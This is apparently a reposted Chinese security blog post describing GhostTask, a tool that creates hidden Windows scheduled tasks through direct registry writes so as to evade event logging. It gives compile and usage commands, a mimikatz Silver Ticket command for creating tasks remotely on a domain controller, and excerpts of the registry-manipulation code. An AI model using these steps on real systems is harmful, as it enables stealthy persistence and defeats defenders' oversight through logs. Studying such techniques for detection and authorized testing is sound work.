重要声明: 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。
GhostTask介绍
接上篇文章篡改计划任务,下面介绍一个实现该目标的工具GhostTask,github链接如下:https://github.com/netero1010/GhostTask/
以下是对该项目的详细分析:
- 项目背景与灵感来源
受 WithSecure 对计划任务篡改研究的启发,该研究阐述了仅通过注册表项操作创建计划任务的可行性,且能绕过如 4698
和106
等计划任务创建事件日志的生成,为建立持久性提供更隐蔽的方法。基于此,开发者创建了 GhostTask 这个 POC 来展示通过直接注册表操作创建计划任务的过程。 - 主要功能
- 创建隐藏计划任务
使用限制性安全描述符创建计划任务,使其对所有用户不可见。 - 绕过事件日志
直接通过注册表建立计划任务,避免生成标准 Windows 事件日志。 - 修改计划任务
支持在不产生 Windows 事件日志的情况下修改现有计划任务。 - 远程任务创建
借助特制的 Silver Ticket 支持远程创建计划任务。 - 内存执行支持
能够使用内存中的 PE 执行模块(如 BruteRatel's memexec
)在 C2 中运行。 - 技术实现
创建新的计划任务需要添加多个注册表项及其关联值,由于相关注册表值的结构未被记录,开发者主要通过反复试验,并与合法计划任务的注册表值进行比较来构建这些结构。同时,参考了 Taskschd.h
头文件中的接口以及 [Cyber.WTF Windows 注册表分析 – 今日剧集:任务] 的内容,以确定每个注册表值(如Triggers
、Actions
和DynamicInfo
)的结构,从而构建出功能性的计划任务。 - 使用方法
GhostTask的详细用法如下:
编译
使用命令x86_64 -w64 -mingw32 -gcc GhostTask.c -o GhostTask.exe -lrpcrt4
来编译源代码,生成可执行文件GhostTask.exe
。
执行命令
命令格式为GhostTask.exe <hostname/localhost> <operation> <taskname> <program> <argument> <username> <scheduletype> <time/second> <day>
。各参数含义如下:
<hostname/localhost>
指定远程计算机名,如果是在本地执行,可使用 localhost
。<operation>
add
用于创建新的计划任务或修改已有的计划任务。创建或修改后,需要重启“Schedule”服务才能加载任务定义。 delete
用于删除指定的计划任务。删除后,需要重启“Schedule”服务以使任务卸载。 <taskname>
计划任务的名称。对于创建任务,这是新任务的名称;对于修改任务,这是要修改的现有任务的名称。 <program>
要执行的程序,例如 cmd.exe
。<argument>
程序的参数。如 /c notepad.exe
表示使用cmd.exe
来执行打开记事本的命令。<username>
计划任务将在其下运行的用户帐户,格式通常为 域名用户名
,如LABAdministrator
。<scheduletype>
支持的触发器类型。 second
按指定的秒数频率执行任务。 daily
每天在指定时间执行任务。 weekly
每周在指定的星期几和时间执行任务。 logon
在用户登录时执行任务。 <time/second>
-
对于 second
触发器,指定任务执行的频率,单位为秒。 -
对于 daily
和weekly
触发器,指定任务执行的具体时间,格式为HH:MM
,如22:30
表示晚上10点30分。 <day>
适用于 weekly
触发器,指定执行计划任务的日子,如monday,thursday
表示周一和周四。
示例
- 创建每周一和周四下午2:12启动记事本的计划任务
GhostTask.exe localhost add demo "cmd.exe" "/c notepad.exe" LABAdministrator weekly 14:12 monday,thursday
- 修改现有计划任务的计划类型、用户和程序
GhostTask.exe localhost add "MicrosoftOfficeOffice Automatic Updates 2.0" "cmd.exe" "/c notepad.exe" LABemployee001 daily 20:37
- 在远程计算机上创建新的计划任务
首先按照WithSecure博客中介绍的方法创建特制的Silver Ticket,如 kerberos::golden /domain:LAB.CORP /sid:S - 1 - 5 - 21 - 1111111111 - 1111111111 - 1111111111 /aes256:[aes256hash] /user:Administrator /service:cifs /target:dc01.lab.corp /sids:S - 1 - 5 - 18 /endin:600 /renewmax:10080
然后使用
GhostTask.exe DC01.lab.corp add demo "cmd.exe" "/c notepad.exe" LABAdministrator daily 15:19
在远程的DC01服务器上创建每天下午3:19启动记事本的计划任务。
需要注意的是,使用GhostTask创建计划任务需要“NT AUTHORITY/SYSTEM”权限。在配置好计划任务后,需要重启系统或等待下一次重启,以便任务加载到“Schedule”服务进程中并随后执行。
核心代码分析
GhostTask.c主要实现了与Windows系统中计划任务相关的操作,通过注册表来创建、删除计划任务。以下是对代码核心部分的总结与分析:
-
核心功能总结
AddScheduleTask
函数用于创建或修改计划任务。它根据传入的参数,构建计划任务的相关信息(如任务的操作、触发条件、用户信息等),并将这些信息写入到注册表的相应位置。 DeleteScheduleTask
函数用于删除指定的计划任务。它通过获取任务的GUID,然后删除与该任务相关的注册表项。 - 命令行参数解析
ParseArguments
函数负责解析命令行参数,验证参数的正确性和完整性,并将解析后的参数存储在Arguments
结构体中。参数包括目标计算机名、操作类型(添加或删除)、任务名称、要执行的程序、程序参数、执行任务的用户名、计划类型、执行时间或频率等。 - 系统权限检查
CheckSystem
函数用于检查当前程序是否以SYSTEM
权限运行。通过获取当前进程的令牌信息,并与SYSTEM
用户的SID进行比较来判断权限。 - 注册表操作
包含多个函数用于打开、创建、删除注册表键以及添加、删除注册表值。如 OpenKeyHandle
用于打开指定的注册表键,AddKey
用于创建注册表键,DeleteKey
用于删除注册表键,AddValue
用于向注册表键中添加值。 - 计划任务操作
- 帮助信息输出
printHelp
函数用于输出程序的使用帮助信息,描述了每个命令行参数的含义和用法。 -
核心代码分析
- 参数解析部分
在 ParseArguments
函数中,首先对命令行参数的数量进行检查,确保参数的完整性。然后根据操作类型(添加或删除),进一步检查所需的参数是否提供。对于添加操作,还需要验证计划类型和执行时间的正确性。
if (strcmp("add", _strlwr(operation)) == 0) {
// 检查必填参数
const char *missingArgs[] = {"task name", "program", "argument", "username for task execution", "schedule type"};
for (int i = 3, j = 0; i < 8; i++, j++) {
if (arglen == i) {
printf("[-] No %s provided.n", missingArgs[j]);
return false;
}
}
// 解析参数
taskName = args[3];
program = args[4];
argument = args[5];
userName = args[6];
scheduleType = _strlwr(args[7]);
// 验证计划类型和执行时间
//...
}
- 计划任务创建部分
AddScheduleTask
函数是代码的核心部分之一,它构建了计划任务的各种信息,包括任务的操作(如要执行的程序和参数)、触发条件(如按秒、按天、按周或登录时触发)、用户信息等,并将这些信息写入到注册表的相应位置。
voidAddScheduleTask(LPCSTR computerName, LPCSTR taskName, LPCSTR cmd, LPCSTR argument, LPCSTR userName, unsignedshort scheduleType, int hour, int minute, int second, unsignedshort dayBitmap){
// 构建各种任务信息
//...
// 创建注册表键
REG_ERROR_CODE regRetCode = AddKey(computerName, plainKey);
if (regRetCode != REG_SUCCESS)
goto exit;
regRetCode = AddKey(computerName, treeKey);
if (regRetCode != REG_SUCCESS)
goto exit;
regRetCode = AddKey(computerName, taskKey);
if (regRetCode != REG_SUCCESS)
goto exit;
// 添加注册表值
AddValue(hKeyTree, computerName, treeKey, "Index", 0x4, 4, (LPBYTE)&index, false);
AddValue(hKeyTree, computerName, treeKey, "Id", 0x1, strlen(fullGuid) + 1, fullGuid, false);
AddValue(hKeyTree, computerName, treeKey, "SD", REG_BINARY, sdLength, (LPBYTE)pSd, false);
//...
}
- 注册表操作部分
以 AddKey
函数为例,它首先打开根注册表键(如果是远程计算机,则先连接到远程注册表),然后使用RegCreateKeyExA
函数创建指定的注册表键。
REG_ERROR_CODE AddKey(LPCSTR computerName, LPCSTR keyName){
const char* hiveRootString = "HKLM";
const char* rootSeparator = (strlen(keyName) == 0)? "" : "\";
const char* computerString = computerName == NULL? "" : computerName;
const char* computerNameSeparator = computerName == NULL? "" : "\";
HKEY hHiveRoot = NULL;
REG_ERROR_CODE regRetCode = OpenKeyHandle(&hHiveRoot, computerName, KEY_CREATE_SUB_KEY, NULL);
if (regRetCode != REG_SUCCESS) {
printf("[-] Failed to get key handle for HKLM.n");
return OPEN_KEY_FAIL;
}
HKEY hNewKey;
DWORD dwDisposition;
LSTATUS lret = RegCreateKeyExA(hHiveRoot, keyName, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hNewKey, &dwDisposition);
if (hHiveRoot != HKEY_LOCAL_MACHINE) // Close it properly if it's a handle to a remote computer
RegCloseKey(hHiveRoot);
if (lret != ERROR_SUCCESS) {
printf("[-] Failed to create key '%s%s%s%s%s' [error %d].n", computerString, computerNameSeparator, hiveRootString, rootSeparator, keyName, lret);
return ADD_KEY_FAIL;
}
RegCloseKey(hNewKey);
if (dwDisposition == REG_OPENED_EXISTING_KEY) {
printf("Identified existing key '%s%s%s%s%s'.n", computerString, computerNameSeparator, hiveRootString, rootSeparator, keyName);
return REG_SUCCESS;
}
printf("Created key '%s%s%s%s%s'.n", computerString, computerNameSeparator, hiveRootString, rootSeparator, keyName);
return REG_SUCCESS;
}
原文始发于微信公众号(网空安全手札):使用GhostTask生成计划任务
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论